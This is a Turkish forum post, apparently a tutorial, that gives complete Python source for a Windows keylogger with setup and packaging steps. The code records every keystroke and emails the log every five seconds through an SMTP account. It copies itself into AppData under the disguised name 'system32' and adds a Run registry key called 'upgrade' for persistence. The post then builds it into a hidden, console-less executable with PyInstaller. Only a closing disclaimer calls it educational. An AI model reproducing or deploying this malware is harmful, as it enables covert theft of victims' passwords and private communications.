Merhaba arkadaşlar, öncelikle şunu belirtmek istiyorum kodlar bana ait değildir, almış olduğumun bir eğitim 3 bölümünü birleştirmem ile böyle bir şey çıktı ortaya, konu hakkında bilgisi olanlar olacaktır elbet ama çoğu kişinin de işini göreceğini düşünüyorum. Kod içinde tekrar göstereceğim ama kodlar Windows üzerinde çalışacak şekilde yazılmıştır. Diğer işletim sistemleri üzerinde hata verecektir. O yüzden tüm aşamaları Windows'a uygun olarak anlatacağım, kodlara github profilimden de ulaşabilirsiniz, o zaman başlayalım
İlk olarak Windows makinenize Python'ı kurmanız gerekiyor, alttaki linkten indirip kurabilirsiniz. Kurulumlar oldukça basit ve youtube da fazlası ile video var, oraları geçiyorum.
Python'ı kurduktan sonra klavyeden gelen her girdiyi almamızı sağlayacak "pynput" kütüphanesi yükleyeceğiz. Diğer kütüphaneler Python ile kurulu gelmektedir.
Komut İstemcisini (CMD) açıyoruz ve alttaki forma uygun olacak şekilde yazıp yüklenmesini bekliyoruz.
Şimdi kodumuzu yazmaya hazırız. Dilediğiniz ide veya editör kurabilir, kullanabilirsiniz. Burayı da geçip, kodları paylaşıyorum.
Kod:
https://github.com/Posew7/keylog_.git
İlk olarak Windows makinenize Python'ı kurmanız gerekiyor, alttaki linkten indirip kurabilirsiniz. Kurulumlar oldukça basit ve youtube da fazlası ile video var, oraları geçiyorum.
Kod:
https://www.python.org/download/releases/2.7/
Python'ı kurduktan sonra klavyeden gelen her girdiyi almamızı sağlayacak "pynput" kütüphanesi yükleyeceğiz. Diğer kütüphaneler Python ile kurulu gelmektedir.
Komut İstemcisini (CMD) açıyoruz ve alttaki forma uygun olacak şekilde yazıp yüklenmesini bekliyoruz.
Kod:
Yüklediğimiz_Python_Pathi -m pip install pynput
Örnek :
C:\Python27\python.exe -m pip install pynput
Şimdi kodumuzu yazmaya hazırız. Dilediğiniz ide veya editör kurabilir, kullanabilirsiniz. Burayı da geçip, kodları paylaşıyorum.
Kod:
#kodun açıklamalı hali github linkinde bulunmaktadır
import pynput.keyboard as pynput
import smtplib
import threading
import os
import shutil
import sys
import subprocess
log = """
start
"""
def callback_func(key):
global log
try:
log = log + key.char.encode("utf-8")
except:
log = log + str(key)
def send_mail(email, password, to_email, message):
server = smtplib.SMTP("smtp.live.com", 587)
server.starttls()
server.login(email, password)
server.sendmail(email, to_email, message)
server.quit()
def thread_func():
global log
send_mail("[email protected]", "sifre", "[email protected]", log)
log = """
"""
timer = threading.Timer(5, thread_func)
timer.start()
file_path = os.environ["appdata"] + "\\system32"
if not os.path.exists(file_path):
shutil.copyfile(sys.executable, file_path)
regedit = "reg add HKCU\\Software\\Microsoft\\Windows\\Currentversion\\Run /v upgrade /t REG_SZ /d " + file_path
subprocess.call(regedit, shell=True)
listener = pynput.Listener(on_press=callback_func)
with listener:
thread_func()
listener.join()
Kod:
#eğer live servisi yerine gmail servisi kullanacaksanız, google güvenlik ayarlarını kapatmanız gereklidir.
server = smtplib.SMTP("smtp.live.com", 587) yerine
server = smtplib.SMTP("smtp.gmail.com", 587) yazmanız gerekli
#buraya mail adreslerini ve şifreleri girmeyi unutmayınız
send_mail("[email protected]", "sifre", "[email protected]", log)
Şimdi sıra py uzantılı dosyamızı exe uzantılı program haline getirmeye geldi, bu şekilde kütüphanleri programın içine gömerek, programı çalıştıracağınız sistemde Python kurulu olmasına gerek duymadan programı aktif edebileceksiniz. Bunun için bir kütüphane daha yükleyeceğiz.
Kod:
Yüklediğimiz_Python_Pathi -m pip install pyinstaller
Örnek :
C:\Python27\python.exe -m pip install pyinstaller
Kütüphanemizi yüklendikten sonra exe çevirme işlemini yapacağız.
Kod:
Pyinstaller_Path Keylogger.py.path --onefile --noconsole
Komut İstemcim ve Keylogger.py'm masaüstündedir, buna dikkat ediniz
Örnek
C:\Python27\Scripts\pyinstaller.exe keylog.py --onefile --noconsole
Programımız masaüstünde oluşan "build" klasörü içindedir.
Takıldığınız yerlerde özel mesaj atarsanız, bildiğim kadarını cevap veririm, bilmediğimi de araştırır buluruz arkadaşlar
Bu konu tamamen eğitim amaçlıdır, yasa dışı hiç bir davranıştan sorumlu değilim.
Son düzenleme:
